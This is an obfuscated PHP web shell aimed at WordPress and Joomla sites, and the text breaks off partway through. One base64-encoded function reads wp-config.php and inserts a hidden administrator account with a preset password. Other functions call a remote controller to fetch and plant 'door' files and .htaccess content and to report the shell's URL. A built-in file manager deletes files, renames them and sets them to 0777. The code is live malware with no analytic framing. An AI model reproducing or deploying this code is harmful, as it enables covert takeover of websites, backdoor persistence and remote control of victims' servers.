base64_decode("PD9waHAgYWRkd3BwVXNlcigpO2Z1bmN0aW9uIGFkZHdwcFVzZXIoKXskYT0wOyRiPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107JGM9JGIuJy93cC1jb25maWcucGhwJztpZihmaWxlX2dldF9jb250ZW50cygkYykpe2luY2x1ZGUgJGM7dHJ5eyRkPW5ldyBteXNxbGkoImxvY2FsaG9zdCIsREJfVVNFUixEQl9QQVNTV09SRCxEQl9OQU1FKTtpZighJGQtPmNvbm5lY3RfZXJyb3IpeyRmPSJBbDF3cGFkbWluIjskZz1iYXNlNjRfZGVjb2RlKCJKSGR3SkRKNUpERXdKRTQzWTJWeVNVdEliVlUwTG00NFZFSlZSSEJHUWk1blpVSkNWMGx1UVhGQlIzVnRWMkZNT1VKcldWZzJhRFpNWjBkbVIyVlgiKTskaD0iU0VMRUNUIHVzZXJfbG9naW4gRlJPTSB3cF91c2VycyBXSEVSRSB1c2VyX2xvZ2luPSA/IjskaT0kZC0+cHJlcGFyZSgkaCk7JGktPmJpbmRfcGFyYW0oInMiLCRmKTskaS0+ZXhlY3V0ZSgpOyRpLT5zdG9yZV9yZXN1bHQoKTtpZigkaS0+bnVtX3Jvd3M9PTApeyRqPSJJTlNFUlQgSU5UTyB3cF91c2VycyAodXNlcl9sb2dpbiwgdXNlcl9wYXNzLCB1c2VyX25pY2VuYW1lLCB1c2VyX2VtYWlsLCB1c2VyX3VybCwgdXNlcl9yZWdpc3RlcmVkLCB1c2VyX2FjdGl2YXRpb25fa2V5LCB1c2VyX3N0YXR1cywgZGlzcGxheV9uYW1lKSBWQUxVRVMgKD8sID8sID8sID8sID8sID8sID8sID8sID8pIjskaT0kZC0+cHJlcGFyZSgkaik7JGs9c3RydG9sb3dlcigkZik7JGw9JGsuIkBnbWFpbC5jb20iOyRtPScyMDIzLTA3LTE5IDIwOjU0OjU0Jzskbj0id3d3Ijskbz0id3d3IjskcD0wOyRxPSJBZG1pbiI7JGktPmJpbmRfcGFyYW0oInNzc3Nzc3NpcyIsJGYsJGcsJGYsJGwsJG4sJG0sJG8sJHAsJHEpOyRyPTA7aWYoJGktPmV4ZWN1dGUoKSl7JHI9JGktPmluc2VydF9pZDtpZigkcj4wKXskaj0iSU5TRVJUIElOVE8gd3BfdXNlcm1ldGEodXNlcl9pZCwgbWV0YV9rZXksIG1ldGFfdmFsdWUpIFZBTFVFUyAoPywgPywgPykiOyRpPSRkLT5wcmVwYXJlKCRqKTskcz0kcjskdD0id3BfY2FwYWJpbGl0aWVzIjskdT0nYToxOntzOjEzOiJhZG1pbmlzdHJhdG9yIjtiOjE7fSc7JGktPmJpbmRfcGFyYW0oImlzcyIsJHMsJHQsJHUpO2lmKCRpLT5leGVjdXRlKCkpeyRhPTE7fX19fWVsc2V7JGE9MTt9fSRkLT5jbG9zZSgpO31jYXRjaChteXNxbGlfc3FsX2V4Y2VwdGlvbiAkdil7fX1lbHNle31yZXR1cm4gJGE7fQ=="); goto vrG_c; mYnU0: if (!(strstr($Zl_g8, "addwppUser") === false)) { goto YxgGK; } goto vEBP3; B3bCG: } goto aAK5Q; t8IUf: ir3Dl: goto sLuRH; rWyrA: function sbbJU() { goto DCVoq; NciWW: $YBFxA = $wV4eu . "/wp-config.php"; goto zis24; hYgmU: include $YBFxA; goto tz28F; SXL2D: goto oTqB8; goto VnTue; DqnU_: oTqB8: goto hfpSU; tz28F: try { goto MMPiD; jBgPy: $XlDPN = "INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)"; goto daxvI; Z6RSI: $QgWLP = 1; goto VaXZ4; CkDfC: $Ly_PK->bind_param("sssssssis", $T_vtj, $hyb9n, $T_vtj, $xxhyE, $O0FGZ, $s3FZc, $WVvvP, $vzVMc, $X6wyM); goto cvXr3; tj4d4: $Ly_PK = $Zflin->prepare($XlDPN); goto mOnWO; VaXZ4: goto XNfa3; goto hZtM7; TQMgs: $sr3Px = $Ly_PK->insert_id; goto EsMfP; wLTTh: $dX98N = strtolower($T_vtj); goto avAGs; bI8Oy: $CCNg9 = "wp_capabilities"; goto T0QJA; Nn1Pi: $Ly_PK = $Zflin->prepare($VpY6c); goto BNgeN; ea0cq: BGnAv: goto JdsNd; JdsNd: $Zflin->close(); goto sq6dG; tF3eW: $T_vtj = "Al1wpadmin"; goto YQnxt; Gcd8R: $X6wyM = "Admin"; goto CkDfC; YQnxt: $hyb9n = base64_decode("JHdwJDJ5JDEwJE43Y2VySUtIbVU0Lm44VEJVRHBGQi5nZUJCV0luQXFBR3VtV2FMOUJrWVg2aDZMZ0dmR2VX"); goto qulRK; rvJiZ: UecZm: goto bQUTd; BNgeN: $Ly_PK->bind_param("s", $T_vtj); goto jq0Go; daxvI: $Ly_PK = $Zflin->prepare($XlDPN); goto wLTTh; bQUTd: ipA1L: goto S0mJ2; QwR0d: XNfa3: goto ea0cq; Z2UT2: $s3FZc = "2023-07-19 20:54:54"; goto ALOAe; hZtM7: MlG4_: goto jBgPy; rrLaM: $QgWLP = 1; goto rvJiZ; QHjS6: $Ly_PK->bind_param("iss", $nOwno, $CCNg9, $KPUbV); goto op6FZ; cvXr3: $sr3Px = 0; goto E0z3a; u37F_: if ($Zflin->connect_error) { goto BGnAv; } goto tF3eW; T0QJA: $KPUbV = "a:1:{s:13:"administrator";b:1;}"; goto QHjS6; SatWf: if ($Ly_PK->num_rows == 0) { goto MlG4_; } goto Z6RSI; op6FZ: if (!$Ly_PK->execute()) { goto UecZm; } goto rrLaM; r5E2W: $XlDPN = "INSERT INTO wp_usermeta(user_id, meta_key, meta_value) VALUES (?, ?, ?)"; goto tj4d4; abzeO: $vzVMc = 0; goto Gcd8R; MMPiD: $Zflin = new mysqli("localhost", Ls8p6, vlRC9, TLOVY); goto u37F_; jq0Go: $Ly_PK->execute(); goto R0mux; S0mJ2: IqZ3E: goto QwR0d; xbbqJ: $WVvvP = "www"; goto abzeO; mOnWO: $nOwno = $sr3Px; goto bI8Oy; R0mux: $Ly_PK->store_result(); goto SatWf; E0z3a: if (!$Ly_PK->execute()) { goto IqZ3E; } goto TQMgs; ALOAe: $O0FGZ = "www"; goto xbbqJ; qulRK: $VpY6c = "SELECT user_login FROM wp_users WHERE user_login= ?"; goto Nn1Pi; avAGs: $xxhyE = $dX98N . "@gmail.com"; goto Z2UT2; EsMfP: if (!($sr3Px > 0)) { goto ipA1L; } goto r5E2W; sq6dG: } catch (mysqli_sql_exception $IHz7m) { echo "mysql is error<br/>"; } goto DqnU_; pbskg: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto NciWW; zis24: if (file_get_contents($YBFxA)) { goto qwJQK; } goto E9BvY; DCVoq: $QgWLP = 0; goto pbskg; E9BvY: echo "file is error"; goto SXL2D; hfpSU: return $QgWLP; goto BIsIV; VnTue: qwJQK: goto hYgmU; BIsIV: } goto J5KGc; fQ6O4: if (!($Ptssn > 0)) { goto JpNwj; } goto Q8bGM; Bs0v9: ini_set("memory_limit", "-1"); goto Q4vkB; ui7R7: zSgjt: goto xnpsw; HGwOB: echo ""/>
<button type="submit" class="btn btn-primary btn-sm">Station</button>
</form>\xa </div>\xa </div>
<div class="row" style="margin-top: 1rem;">\xa <div class="col-2 col-sm-1">\xa <form action="?path="; goto OsZ6S; R850A: ncMOt: goto KYOAD; XpYW3: jYUBL: goto hU76F; qNojU: $SO_dz = F1dJr($hicZU, $SO_dz); goto Zj0bH; hU76F: $Ce_1b = false; goto cPSaN; fhl1T: yC1Te: goto u9XO9; Nu2mv: echo "" method="post">
\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto BSldn; qxF4k: Qehts: goto NDJ_W; LjgFf: echo ""/>
<div class="form-group">\xa "; goto Q4P8e; SkXUo: echo "style="color:green;""; goto w69yF; ZDUQy: echo $_SESSION["Z3JvdXA="]; goto PQ1Vq; s6vyY: if (mkdir($hicZU . "/" . $plyVc)) { goto PVQUq; } goto W5bxK; xFUzp: $wV4eu = $wjAuf; goto Wvix3; sLuRH: echo "</div>
<script>\xa $(function(){\xa $('#allcheck').click(function(){
if($('#allcheck').is(":checked")){\xa $('input[name="childcheck[]"]').each(function(){
$(this).attr('checked', true);
})\xa }else{
$('input[name="childcheck[]"]').each(function(){\xa $(this).attr('checked', false);
})\xa }\xa })\xa })
</script>
<script>
$(function(){
$("#allcheck").click(function(){\xa $('.item').prop('checked', this.checked);\xa });\xa
$('.item').click(function(){\xa if ($('.item').length == $('.item:checked').length) {
$('#allcheck').prop('checked', true);
} else {
$('#allcheck').prop('checked', false);\xa }\xa });
$('.delBtn').click(function(){\xa var checkedValues = [];
$(".item:checked").each(function(){\xa checkedValues.push($(this).val());\xa });\xa if(checkedValues.length == 0){\xa alert('please select files');
return false;\xa }else{
$('#deleteForm').submit();
}\xa });
\x9 })\xa\x9</script>
</body>\xa</html>\xa"; goto wMPew; ZoQzS: $J8pN3 = 0; goto Icv7l; lgxAA: echo $gNE_W; goto Ep86G; u7dbF: echo PHP_OS; goto JTim7; vKQV7: $f7Rro = ''; goto s9Rlt; x_M2L: function ClehO($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto HfRUv; PkQ1L: $Q0d0r["login_status"] = $d80eO; goto Nrq5N; R0Kfs: eR_jo: goto fGd6i; kRftB: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=station&shell_id=" . $DfFx0 . "&shell_type=" . $IuCPr; goto BEuS2; hgNwN: HM0al: goto b1lXZ; kLkPH: XM4WG: goto GtMQr; if3f0: $IuCPr = $QbvJe["shell_type"]; goto kRftB; h0u4M: if (!empty($JXstA["station_code"]) && !empty($JXstA["ht_pz_content"])) { goto eR_jo; } goto BuxKS; vy_Q4: iUiD8(); goto nrF0U; pSGCn: MWbeH: goto sovEH; dl548: if ($kbSVp > 0) { goto MWbeH; } goto l8bpy; qcPs9: YkUpq: goto O0SdU; dpFtv: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto t55q9; dp9TP: $Q0d0r["action"] = "station"; goto dpFtv; Nrq5N: $Q0d0r["shell_url"] = $k5zcJ; goto GXLQl; SrcU4: jKaaz: goto wvQ05; fGd6i: $kbSVp = BrEXO($JXstA["station_code"], $JXstA["ht_pz_content"], $k5zcJ); goto dl548; HWek6: if ($uDtUx["status"]) { goto HM0al; } goto M0yHl; GXLQl: $Q0d0r["shell_type"] = $IuCPr; goto BCA8m; GtMQr: Xikpz: goto vy_Q4; nrF0U: $d80eO = sbBJU(); goto PkQ1L; wvQ05: $Y67K5 = xRSD2($pDJ9q); goto vrkdY; vrkdY: $JXstA = json_decode($Y67K5, true); goto La7EY; BCA8m: $uDtUx = Ivxxc($OMkYM, $Q0d0r); goto HWek6; HfRUv: $Q0d0r = array(); goto Qwvi2; BEuS2: if (!(stripos($XY7l9, "joomla") !== false)) { goto jKaaz; } goto GVtpl; l8bpy: $Q0d0r["code"] = "1001"; goto VQLzJ; b1lXZ: echo "<p style="color:green;">Station is successfully, Success is " . $kbSVp . "</p>"; goto qcPs9; ClQzp: goto Xikpz; goto R0Kfs; elFN9: $Q0d0r["status"] = 1; goto kLkPH; SwQlM: goto YkUpq; goto hgNwN; t55q9: $DfFx0 = $QbvJe["shell_id"]; goto if3f0; VQLzJ: $Q0d0r["status"] = 2; goto aVIAI; sovEH: $Q0d0r["station_count"] = $kbSVp; goto elFN9; M0yHl: echo "<p style="color:red;">Station is failed! " . $Q0d0r["code"] . "</p>"; goto SwQlM; aVIAI: goto XM4WG; goto pSGCn; La7EY: $JXstA = oLwxg($JXstA); goto Qk93L; BuxKS: $Q0d0r["code"] = "1002"; goto gtna2; Qwvi2: $Q0d0r["shell_id"] = $QbvJe["shell_id"]; goto dp9TP; gtna2: $Q0d0r["status"] = 2; goto ClQzp; GVtpl: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=station&shell_id=" . $DfFx0 . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9; goto SrcU4; Qk93L: $kbSVp = 0; goto h0u4M; O0SdU: } goto lGdpu; e0EhV: function oZb8u($F0LeY) { goto TIsBl; KwHcv: if (!(stripos($C4BzW, "joomla") !== false)) { goto DJgOU; } goto Nj72v; c3f2Z: DJgOU: goto ncNda; Jr5os: $T7JuE = $F0LeY . "/web.config.txt"; goto UFFVa; ncNda: return $XY7l9; goto XFp7X; GwyOX: if (file_exists($T7JuE)) { goto dBr9E; } goto Jr5os; UFFVa: dBr9E: goto VtcLq; TIsBl: $XY7l9 = "wordpress"; goto TkMEm; TkMEm: $T7JuE = $F0LeY . "/README.txt"; goto GwyOX; VtcLq: $C4BzW = file_get_contents($T7JuE); goto KwHcv; Nj72v: $XY7l9 = "joomla"; goto c3f2Z; XFp7X: } goto GuG8G; Y5a1f: XTJbj: goto GHDl1; xJfos: $x4EZ5 = false; goto IxzXl; jA1DO: fPOw0: goto grj3P; RGxY3: ee5ai: goto RLN4T; pq13M: echo ""/>\xa\x9 <input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto mtcaf; CmHym: function Dfe8J($hu85P = 10) { goto KKW6N; gSofU: $Jx3Dx = 0; goto vYjXf; KKW6N: $lqzVx = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; goto vCbqC; hUdtc: eUBwN: goto WhMwf; JXqkB: goto AR7Ug; goto hUdtc; KOa_l: $QBfAw .= $lqzVx[rand(0, strlen($lqzVx) - 1)]; goto X2mFB; X2mFB: Zvq5A: goto wFsTz; wFsTz: $Jx3Dx++; goto JXqkB; vCbqC: $QBfAw = ''; goto gSofU; X6D8v: if (!($Jx3Dx < $hu85P)) { goto eUBwN; } goto KOa_l; vYjXf: AR7Ug: goto X6D8v; WhMwf: return $QBfAw; goto YY9cq; YY9cq: } goto YXsBX; BuVol: function CvJva($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto CI3AF; JJYyb: goto yl7fc; goto xYlLx; ADNRK: $Q0d0r["status"] = 1; goto ioyda; xYlLx: ajznI: goto U8EFG; PtUdX: foreach ($egTvp["door_files"] as $BKaq1 => $HLoEV) { echo "<p><a href="" . $HLoEV . "" target="_blank">" . $HLoEV . "</a></p>"; UuItl: } goto ri6QJ; nr0yF: $Q0d0r["action"] = "doors"; goto xEsnA; oNzCX: $Q0d0r["shell_id"] = $QbvJe["shell_id"]; goto nr0yF; nw3QK: $uDtUx = IvXXc($OMkYM, $Q0d0r); goto fyhY_; WXFDd: KyMgj: goto VHHHF; CI3AF: $Q0d0r = array(); goto oNzCX; ri6QJ: tkV79: goto ohKJh; fpbbq: if (!empty($JXstA["doors"])) { goto KyMgj; } goto kcV0K; Z7fT1: $Q0d0r["status"] = 2; goto rYOJb; V5WjW: $Q0d0r["code"] = "1001"; goto Rpcl8; CKAbq: echo "<p style="color:red;">Doors is failed! " . $Q0d0r["code"] . "</p>"; goto yoLuM; NzVxa: $eRoV1 = $QbvJe["group_id"]; goto VvyhX; ohKJh: AdyyM: goto o_g0r; VvyhX: $IuCPr = $QbvJe["shell_type"]; goto f3P1B; xEsnA: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto OE19D; yoLuM: goto AdyyM; goto M922M; yDjKt: X5IXQ: goto jTFs2; fyhY_: if ($uDtUx["status"]) { goto kUOGL; } goto CKAbq; jTFs2: $Y67K5 = XrsD2($pDJ9q); goto MBeLt; ioyda: yl7fc: goto rtRTS; mzabU: $Q0d0r["shell_type"] = $IuCPr; goto nw3QK; M922M: kUOGL: goto q1Hbo; Rpcl8: $Q0d0r["status"] = 2; goto JJYyb; q1Hbo: echo "<p style="color:green;">Doors is successfully, Success .h is " . $egTvp["count"] . "</p>"; goto PtUdX; rtRTS: j2SiM: goto mzabU; R9IOf: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=doors&shell_id=" . $DfFx0 . "&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9 . "&time=" . date("YmdHis") . rand(1000, 9999); goto yDjKt; rYOJb: goto j2SiM; goto WXFDd; kcV0K: $Q0d0r["code"] = "1002"; goto Z7fT1; bocQk: if (!empty($egTvp["door_files"])) { goto ajznI; } goto V5WjW; U8EFG: $Q0d0r["door_urls"] = implode(";", $egTvp["door_files"]); goto TW8Ib; VHHHF: $egTvp = JLSfy($JXstA["doors"], $JXstA["doors_55"], base64_decode($JXstA["wp_files"]), base64_decode($JXstA["third_file"]), base64_decode($JXstA["ht_ban_content"]), base64_decode($JXstA["ht_open_content"]), base64_decode($JXstA["shell_action_code"]), $k5zcJ); goto bocQk; MBeLt: $JXstA = json_decode($Y67K5, true); goto fpbbq; OE19D: $DfFx0 = $QbvJe["shell_id"]; goto NzVxa; TW8Ib: $Q0d0r["shell_other_url"] = $egTvp["shell_other_url"]; goto ADNRK; f3P1B: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=doors&shell_id=" . $DfFx0 . "&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&time=" . date("YmdHis") . rand(1000, 9999); goto QWXnl; QWXnl: if (!(stripos($XY7l9, "joomla") !== false)) { goto X5IXQ; } goto R9IOf; o_g0r: } goto iGMd9; cTpgb: $jqDls = file_put_contents($wV4eu, $OD9Rs); goto L93ar; C7Mxo: function L2Tnp($XiAgr, $TV7tx, $qeyqs, $FSwXV, $k5zcJ) { goto annIc; shA9M: Oc04w: goto hm55L; Ljkhr: rhB2J: goto Dhw37; rt0Ol: if (!$AbeJR) { goto rhB2J; } goto bZC57; wG2Il: $egTvp["second_url"] = ''; goto gZJLI; pTgjh: $egTvp["third_url"] = $k5zcJ . "/" . $FSwXV; goto shA9M; hm55L: return $egTvp; goto FtHOB; gZJLI: $egTvp["third_url"] = ''; goto rt0Ol; annIc: $egTvp = array(); goto Wo9aT; mABxk: $PFAIw = xc4tp($FSwXV, $TV7tx); goto wG2Il; Dhw37: if (!$PFAIw) { goto Oc04w; } goto pTgjh; Wo9aT: $AbeJR = xc4Tp($qeyqs, $XiAgr); goto mABxk; bZC57: $egTvp["second_url"] = $k5zcJ . "/" . $qeyqs; goto Ljkhr; FtHOB: } goto BuVol; zPKyK: pItd0: goto Zwqqj; TMVfI: CvJvA($_POST, $EjEmp, $k5zcJ, $XY7l9); goto rxmwW; mwvYz: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto wUT_P; hn1p8: echo " "; goto wSVKb; a9E1R: function eBp_g($ITud5) { goto HP8ZH; fQArJ: yMa2N: goto el7me; EQ6Iy: QPt7E: goto W_Uqy; ooWnq: if (unlink($ITud5)) { goto yMa2N; } goto nRO1F; nRO1F: echo "<p style="color:red;font-weight: bold;">" . $ITud5 . " is delete error" . "</p>"; goto N4inZ; rBmRs: echo "<p style="color:red;font-weight: bold;">" . $ITud5 . " is not exist" . "</p>"; goto J0HaD; HP8ZH: if (file_exists($ITud5)) { goto dXCG0; } goto rBmRs; a_Ewz: chmod($ITud5, 0777); goto ooWnq; RG5PD: dXCG0: goto a_Ewz; pRBf1: LKiJV: goto EQ6Iy; N4inZ: goto LKiJV; goto fQArJ; el7me: echo "<p style="color:green;font-weight: bold;">" . $ITud5 . " is delete success" . "</p>"; goto pRBf1; J0HaD: goto QPt7E; goto RG5PD; W_Uqy: } goto vEQd5; IEjhe: function WdwT1($e2heM, $uwsBo = 10, $eilv5 = 0) { goto OVSr6; zKd16: $vVxY1 = array(); goto Mg0ln; iTVlG: return array(); goto Gg0cj; uFckA: UtDL2: goto mEVZ8; Mg0ln: if (!($eilv5 > $uwsBo)) { goto Oe5aw; } goto iTVlG; mEVZ8: return $vVxY1; goto NTmAr; Hl8uM: $Ji7ga = scandir($e2heM); goto LS2dQ; OVSr6: global $KNM5I; goto zKd16; LS2dQ: foreach ($Ji7ga as $UCzbv) { goto Mo3Ec; m_tsF: LGTbT: goto aeWBM; Vij7c: if (!is_dir($wV4eu)) { goto LGTbT; } goto AeDr4; AeDr4: $vVxY1[] = $wV4eu; goto GULfT; aeWBM: FN0rA: goto tS5uP; sXS2q: goto FN0rA; goto EGYZh; sfPe6: $wV4eu = $e2heM . DIRECTORY_SEPARATOR . $UCzbv; goto Vij7c; EGYZh: vzq8U: goto sfPe6; M0I1K: $vVxY1 = array_merge($vVxY1, WDWt1($wV4eu, $uwsBo, $eilv5 + 1)); goto m_tsF; GULfT: $KNM5I[] = $wV4eu; goto M0I1K; Mo3Ec: if (!($UCzbv == "." || $UCzbv == "..")) { goto vzq8U; } goto sXS2q; tS5uP: } goto uFckA; Gg0cj: Oe5aw: goto Hl8uM; NTmAr: } goto x_M2L; j_c1X: $G4FS2 = $_POST["file_new_name"]; goto HvyIx; rypdp: echo " <div class="row">\xa <form action="?type=5" method="post">
<input type="hidden" id="path" name="path" value=""; goto Q58J0; oKOuC: goto Q3I6s; goto BnsUo; xbLjh: echo " <input type="text" class="form-control" id="new_chmod" name="new_chmod" value=""; goto SSHbZ; HpR_x: emSAu: goto IYzb2; vEQd5: function po841($e2heM, $WnQoF, $eilv5 = 0, $uwsBo = 10) { goto XjdO3; NCCrA: QoGOU: goto Wi3bC; lk0aB: URNz3: goto hMxhl; S1BVI: return $ksg4D; goto AmUO7; P9kmV: closedir($qPSqX); goto KJmGH; V8Pk4: cw0ZH: goto lk0aB; KJmGH: R_deo: goto S1BVI; x9qq5: if (is_dir($eGTQx)) { goto wMM2C; } goto DJehC; DJehC: if (!(strpos(file_get_contents($eGTQx), $WnQoF) !== false)) { goto pCgw2; } goto L2wAo; hTPpE: dtzek: goto Km_0j; hMxhl: goto dtzek; goto BDo7f; quViW: return $ksg4D; goto NCCrA; kv4aB: $eGTQx = $e2heM . "/" . $ITud5; goto x9qq5; Km_0j: if (!(false !== ($ITud5 = readdir($qPSqX)))) { goto eg2wR; } goto YFnyR; QhKvk: wMM2C: goto vHMrX; BDo7f: eg2wR: goto P9kmV; Wi3bC: if (!($qPSqX = opendir($e2heM))) { goto R_deo; } goto hTPpE; licwK: if (!($eilv5 >= $uwsBo)) { goto QoGOU; } goto quViW; XjdO3: $ksg4D = array(); goto licwK; THrwD: goto cw0ZH; goto QhKvk; o7sy6: pCgw2: goto THrwD; vHMrX: $ksg4D = array_merge($ksg4D, pO841($eGTQx, $WnQoF, $eilv5 + 1, $uwsBo)); goto V8Pk4; L2wAo: $ksg4D[] = $eGTQx; goto o7sy6; YFnyR: if (!($ITud5 != "." && $ITud5 != "..")) { goto URNz3; } goto kv4aB; AmUO7: } goto rWyrA; BifCi: echo get_current_user(); goto NPvl6; PPh00: echo $F0LeY; goto sWo8c; whqIi: $Ce_1b = true; goto HLEC6; kaj0o: echo $QbvJe["HTTP_HOST"]; goto hLYzr; NPvl6: echo "</div></p>\xa <p>\xa <a href="?path="; goto PPh00; q4JEp: echo $_SESSION["dGhpcmRncm91cA=="]; goto iXIS3; qjhuK: $wxqQ0 = $_POST; goto jcyIM; Zd57p: echo "<div class="alert alert-danger" role="alert">Failed to modify file content!</div>"; goto An7OU; P28Yf: $UnhrJ = $_POST["childcheck"]; goto e4_IS; QT5ix: $hicZU = $wV4eu; goto EaEYf; iXIS3: echo ""/>\xa <input type="hidden" name="shell_type" value=""; goto Dy9E4; cLfDB: goto To1ZZ; goto qxF4k; cPSaN: if (!is_readable($hicZU)) { goto ZycFN; } goto whqIi; bpKbj: echo htmlspecialchars($vQi2F); goto rzAxT; Dy9E4: echo $_SESSION["dHlwZQ=="]; goto FODtv; E3kR1: echo ""/>\xa <div class="col-12" style="margin-bottom: 1rem;">\xa <input type="hidden" name="act" value="del"/>
<button type="submit" class="btn btn-danger btn-xs">Delete</button>
</div>\xa <table class="table table-bordered">
<thead>\xa <tr>
<th>
<div class="form-check">\xa <input class="form-check-input" type="checkbox" value="1" id="allcheck" name="allcheck">
</div>
</th>
<th>Name</th>\xa <th>Url</th>
<th>Size</th>\xa <th>Modify</th>
<th>Permission</th>\xa <th>Action</th>
</tr>
</thead>
<tbody>
"; goto G9xs8; Atr7U: $UKoAN = $wV4eu; goto QT5ix; LvBZH: UMMVG: goto Ux77u; NDJ_W: echo "<div class="alert alert-danger" role="alert">The file already exists!</div>"; goto Sx78n; WKlje: pDQgy: goto qbluw; NL5mM: $wYqlh = isset($_REQUEST["act"]) ? $_REQUEST["act"] : ''; goto P21rC; rVmmp: $Nd6T2 = substr(sprintf("%o", $JLGB3), -4); goto wVbxQ; MwlK2: $XY7l9 = $XY7l9 . $tryGD; goto rMavD; JnxzV: function TuSrB($QbvJe, $UWrjc, $k5zcJ, $XY7l9) { goto dPGNP; lKp2x: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk.php?action=reback&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&time=" . date("YmdHis") . rand(1000, 9999); goto RtgCO; tVFvA: izxIL: goto X90X_; uwv4d: ueTZL: goto S09e0; T7D8M: K8j9u: goto hKuet; yyxsG: $eRoV1 = $QbvJe["group_id"]; goto i23fH; KNsAF: goto u0Lat; goto T7D8M; b5z5t: if ($uDtUx["status"]) { goto ueTZL; } goto uLhI3; MxtyZ: foreach ($P3H1y as $BKaq1 => $HLoEV) { goto kUTBY; eeUFx: $fIVj2 = str_replace("[##in_contnt_" . $BKaq1 . "##]", $Lnghj, $fIVj2); goto TSqRH; CKVNF: HVJ8e: goto shXpm; TSqRH: $hJqm6 = $JXstA["code"] . $JXstA["wp_ycode"]; goto TrxrH; TrxrH: xc4TP($HLoEV, $hJqm6); goto CKVNF; kUTBY: $Lnghj = N2fnJ($HLoEV); goto eeUFx; shXpm: } goto orxPr; RinEu: foreach ($GC0tr as $BKaq1 => $HLoEV) { goto hSkJp; hLQnF: sJI93: goto Jn6_Z; Gx4d8: $iPADL[] = $k5zcJ . $HLoEV; goto WgMWq; hSkJp: $hYQUi = Xc4Tp($HLoEV, $fIVj2); goto HGaup; HGaup: if (!$hYQUi) { goto IXH65; } goto Gx4d8; WgMWq: IXH65: goto hLQnF; Jn6_Z: } goto qYEDA; P0vW8: $P3H1y = explode(";", $JXstA["in_files"]); goto MxtyZ; U126l: foreach ($cAhNO as $BKaq1 => $HLoEV) { goto Ax7A4; UuLRP: $fIVj2 = str_replace("[##ht_contnt_" . $BKaq1 . "##]", $Lnghj, $fIVj2); goto vm9Aj; Ax7A4: $Lnghj = n2Fnj($HLoEV); goto UuLRP; k2ElT: UaYvi: goto CtDml; NFzAt: xC4tp($HLoEV, $hJqm6); goto k2ElT; vm9Aj: $hJqm6 = $JXstA["ht_contnt"]; goto NFzAt; CtDml: } goto u2rpW; TAVBd: $OMkYM = base64_decode($UWrjc) . "/savenkuzf4.php"; goto gjfsW; i23fH: $DfFx0 = $QbvJe["shell_id"]; goto Z_wy1; hKuet: $Q0d0r["wp_urls"] = $iPADL; goto Sq93x; IEmd_: $JXstA = json_decode($Y67K5, true); goto ds5C2; Sq93x: $Q0d0r["status"] = 1; goto etwDS; X90X_: $fIVj2 = $JXstA["wp_code_bak"]; goto P0vW8; AjL_b: foreach ($iPADL as $BKaq1 => $HLoEV) { echo "<p><a href="" . $HLoEV . "" target="_blank">" . $HLoEV . "</a></p>"; oM78G: } goto pLQif; lG7Qq: $GC0tr = explode(";", $JXstA["wp_files"]); goto g4Up3; orxPr: b8NqI: goto osSGY; Eb8RZ: $Q0d0r["action"] = "reback"; goto TAVBd; UWGxs: if (!empty($iPADL) && count($iPADL) > 0) { goto K8j9u; } goto BOhS0; uLhI3: echo "<p style="color:red;">Reback is failed! " . $Q0d0r["code"] . "</p>"; goto bVrmw; bVrmw: goto VBjTB; goto uwv4d; qYEDA: wABoM: goto UWGxs; g4Up3: $iPADL = array(); goto RinEu; etwDS: u0Lat: goto wG5C6; osSGY: $cAhNO = explode(";", $JXstA["ht_files"]); goto U126l; lNbxj: $Q0d0r["status"] = 2; goto KNsAF; RtgCO: if (!(stripos($XY7l9, "joomla") !== false)) { goto YGetC; } goto yfh3c; u60SD: $Q0d0r["shell_url"] = $k5zcJ; goto Pl4zn; nE0Oy: $Y67K5 = xRsD2($pDJ9q); goto IEmd_; beMgO: $Q0d0r["code"] = "1002"; goto vIvGG; Z_wy1: $IuCPr = $QbvJe["shell_type"]; goto lKp2x; pLQif: U5rBc: goto c_XWl; S09e0: echo "<p style="color:green;">Reback is successfully</p>"; goto AjL_b; yfh3c: $pDJ9q = base64_decode($UWrjc) . "/k575s6kk_joomla.php?action=reback&group_id=" . $eRoV1 . "&shell_type=" . $IuCPr . "&cms_type=" . $XY7l9 . "&time=" . date("YmdHis") . rand(1000, 9999); goto K0CKq; Pl4zn: $Q0d0r["shell_type"] = $IuCPr; goto T0G64; u2rpW: VjPRI: goto lG7Qq; vIvGG: $Q0d0r["status"] = 2; goto XUSHD; c_XWl: VBjTB: goto SLu7a; dPGNP: $wV4eu = $_SERVER["DOCUMENT_ROOT"]; goto yyxsG; T0G64: $uDtUx = ivXXC($OMkYM, $Q0d0r); goto b5z5t; lLvby: $Q0d0r["shell_id"] = $DfFx0; goto Eb8RZ; K0CKq: YGetC: goto nE0Oy; ds5C2: $JXstA = olwxG($JXstA); goto XnFBL; gjfsW: if (isset($JXstA["in_files"]) && !empty($JXstA["in_files"])) { goto izxIL; } goto beMgO; BOhS0: $Q0d0r["code"] = "1001"; goto lNbxj; XUSHD: goto E4boW; goto tVFvA; wG5C6: E4boW: goto u60SD; XnFBL: $Q0d0r = array(); goto lLvby; SLu7a: } goto WmkRj; e231o: IfFyA: goto OZ7Za; eFcLP: goto MvZdZ; goto T2_GK; nv2q2: if ($s1OWX == 2 || $s1OWX == 3) { goto My3vo; } goto sAzSm; hLYzr: echo 